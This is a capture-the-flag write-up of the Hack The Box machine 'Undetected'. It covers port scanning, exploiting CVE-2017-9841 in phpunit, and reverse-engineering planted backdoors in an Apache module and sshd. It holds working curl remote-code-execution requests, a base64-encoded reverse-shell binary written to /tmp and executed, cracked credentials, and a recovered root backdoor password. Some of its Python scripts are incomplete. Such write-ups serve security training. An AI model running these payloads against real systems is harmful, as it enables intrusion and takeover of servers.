HTB Writeup: Undetected

Nothing is unhackable. Nothing is undetectable.



Starting Nmap 7.92 ( ) at 2022-07-01 08:36 IST
Nmap scan report for (
Host is up (0.078s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
|   3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
|   256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_  256 70:15:39:94:c2💿64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Diana's Jewelry
|_http-server-header: Apache/2.4.41 (Ubuntu)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 34.17 seconds
  1. A web server is discovered listening on TCP/80

Web Server

  1. A website is found on http://<ip>/.


  2. The View Store button points to store.djewelry.htb.

  3. An entry in /etc/hosts file is added for store.djewelry.htb which points to the IP of remote target.

Initial Foothold

Web directory fuzzing

  1. The web server is fuzzed for directories and files using ffuf and the wordlist seclists/Discovery/Web-Content/big.txt.

    ffuf -u 'http://store.djewelry.htb/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/big.txt
    # -u    : Url to fuzz
    # FUZZ  : place to inject the payloads from wordlist
    # -w    : Wordlist to use


  2. Directory /vendor/ is present. On visiting the directory in web browser, list of packages being used by the website is found.


  3. phpunit module is found located at http://store.djewelry.htb/vendor/phpunit/phpunit/. Reading from the changelog file, this is version 5.6.0, which is vulnerable to CVE-2017-9841.

  4. To test for vulnerability, following curl request is used:

    curl 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' --data "<?=system('whoami;id');?>"


  5. From the response, it is confirmed that the web application is vulnerable to the flaw and remote code execution is achieved.

  6. This can be leveraged to obtain a stable reverse shell

    curl 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' --data "<?=passthru('echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA4gAAAAAAAABMAQAAAAAAAAAQAAAAAAAAajlYDwVIhcB0CEgx/2o8WA8FBHAPBWo5WA8FSIXAdepqKViZagJfagFeDwVIl0i5AgAjggoKDhVRSInmahBaaipYDwVqA15I/85qIVgPBXX2ajtYmUi7L2Jpbi9zaABTSInnUldIieYPBQ== | base64 -d > /tmp/exploit; chmod 0755 /tmp/exploit; /tmp/exploit')?>"

User Access

  1. After initial access, []( is used to enumerate and gather information about the target host with privileges of www-data


  2. One of the interesting findings is the file /var/backups/info

  3. When examined closely, it turns out to be a dynamically lined executable, unstripped.


  4. The file is then downloaded on local host and examined with reverse engineering tools (IDA).


  5. A hex encoded payload is found in the .RODATA section of the binary file.

  6. The following python script is able to extract and decode the payload from binary file:

    #!/usr/bin/env python3
    import binascii
    import pwn
    e = pwn.ELF("./info")
    print("Extracting .rodata")
    ro_data = e.section(".rodata")
    print("Getting start address of the payload")
    payload_start = ro_data.find(b"776765742074656d7066696c65732e78797a2f6")
    print("Getting end address of the payload")
    payload_end = ro_data.rfind(b"6572732e7478743b") + len(b"6572732e7478743b")
    print("Decoding payload")
    payload = binascii.unhexlify(ro_data[payload_start:payload_end])
    print(f'''Decoded payload:\n{payload.decode()}''')


  7. The payload hints that it was an exploit, that appended a new user ending with 1 and having uid and gid same as an existing user to /etc/passwd. Also, a UNIX password hash was added for the same user in /etc/shadow.

  8. The content of /etc/passwd shows that the user steven has been compromised, with user steven1 having same uid, and gidas steven.


  9. The hash from payload can be cracked using hashcat. The mode is identified as sha512crypt, hash mode 1800 on hashcat.

    .\hashcat.exe -m 1800 -a 0 Y:\Documents\HTB\Undetected\hashed_pw.hash G:\Wordlists\rockyou.txt #(--show if already cracked)


  10. The credentials found are steven1:ihatehackers

  11. On connecting to remote target using SSH with the found credentials, a successful session is obtained.


Privilege Escalation


  1. A pending email is found in /var/mail/steven. The content of E-mail read:

    steven@production:~$ cat /var/mail/steven
    From root@production  Sun, 25 Jul 2021 10:31:12 GMT
    Return-Path: <root@production>
    Received: from production (localhost [])
            by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
            for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
    Received: (from root@localhost)
            by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
            Sun, 25 Jul 2021 10:31:12 GMT
    Date: Sun, 25 Jul 2021 10:31:12 GMT
    Message-Id: <202107251031.80FAcdZ171847@production>
    To: steven@production
    From: root@production
    Subject: Investigations
    Hi Steven.
    We recently updated the system but are still experiencing some strange behaviour with the Apache service.
    We have temporarily moved the web store and database to another server whilst investigations are underway.
    If for any reason you need access to the database or web application code, get in touch with Mark and he
    will generate a temporary password for you to authenticate to the temporary server.
  2. The email hints to some problem in the running Apache web service.

  3. The configuration directory for the web service is located at /etc/apache2.

  4. Listing the contents of the directory /etc/apache2/mods-available and sorting them by size and date, a file stands out odd. mod_reader.oThis file is an 64-bit non-executable ELF object with debug symbols. This directory usually contains configuration files and loading information for modules of Apache2 web server. This file is in odd placement.

  5. This file is downloaded and analyzed again in a reverse engineering tool. (IDA)


  6. A base64 encoded string is found in .rodata.str1.8 section of the. This can be extracted with following python script.

    #!/usr/bin/env python3
    import base64
    import pwn
    print("Opening ELF object")
    e = pwn.ELF("./mod_reader.o")
    print("Extracting encoded payload")
    payload_encoded = e.section('.rodata.str1.8')
    print("Decoding payload")
    payload = base64.b64decode(payload_encoded.strip(b'\x00'))
    print("Decoded payload:")


  7. The payload is found to be a dropper payload, which replaces /usr/sbin/sshd. The /usr/sbin/sshdis downloaded and analyzed in the same manner as previous files. The sshd on the target reports version OpenSSH_8.2p1, OpenSSL 1.1.1f 31 Mar 2020

  8. An untouched version of the same is downloaded from the official Ubuntu 20.04.3 LTS repository for a side by side comparision.

    apt show openssh-server | grep "Version:"


  9. The installed version is 8.2p1-4ubuntu0.4 as stated by the repo. Locating this on the repo, it can be found at :


  10. The hashes for the clean and remote target’s executables don’t match. Both the executables are analyzed for differences using BinDiff . The attacker’s executable is not stripped.


  11. The function auth_password is found to be modified and a backdoor has been placed. To look closer at the backdoor, it is re-analyzed in IDA.



  12. The backdoor appears to be a hardcoded password in the modified executable, encrypted using a XOR based encryption. After de-obfuscation of the backdoor code, it’s a single byte XOR with key 0x96. The first half of the encrypted bytes (in hex) are in .rodata section and the second half is hardcoded in the auth_password: d6abe7f0f3a3b3a4c8fdbbf7e7d6b3fdd6b3a0fda0f4d6b2e3b5f0bcf4a9a5

  13. On XOR decryption with key 0x96, the plaintext password is @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3

    #!/usr/bin/env python3
    import binascii
    encrypted_backdoor_1 = 'FDB3D6E7F7BBFDC8A4B3A3F3F0E7ABD6'
    encrypted_backdoor_2 = 'A5'
    encrypted_backdoor_2 += 'A9F4'
    encrypted_backdoor_2 += 'BCF0B5E3'
    encrypted_backdoor_2 += 'B2D6F4A0FDA0B3D6'
    encrypted_backdoor = encrypted_backdoor_2 + encrypted_backdoor_1
    encrypted_backdoor = bytearray(binascii.unhexlify(encrypted_backdoor))
    print(f"XOR Encrypted password: {encrypted_backdoor.hex()}")
    print("Decrypting password...")
    decrypted_backdoor = []
    for char in encrypted_backdoor:
    print(f"Decrypted password: {binascii.unhexlify(bytearray(decrypted_backdoor).hex()).decode()}")


  14. Using root:@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3 as SSH credentials, a successful session as root is obtained.


The remote host is compromised. Again.

Mayank Malik
ISC2 CC | CRTP | Incident Response | Synack Red Team Member | Threat and Malware Analyst | Security Researcher

I am a tech-savvy person, Red Team Enthusiast, and like to wander around to learn new stuff. Malware Analysis, Cryptography, Networking, and System Administration are some of my forte. One of the Founding Members of CTF Team, Abs0lut3Pwn4g3. Apart from the mentioned skills, I’m good at communication skills and am a goal-driven person. Yellow belt holder at in pursuit of learning and achieving Blue Belt.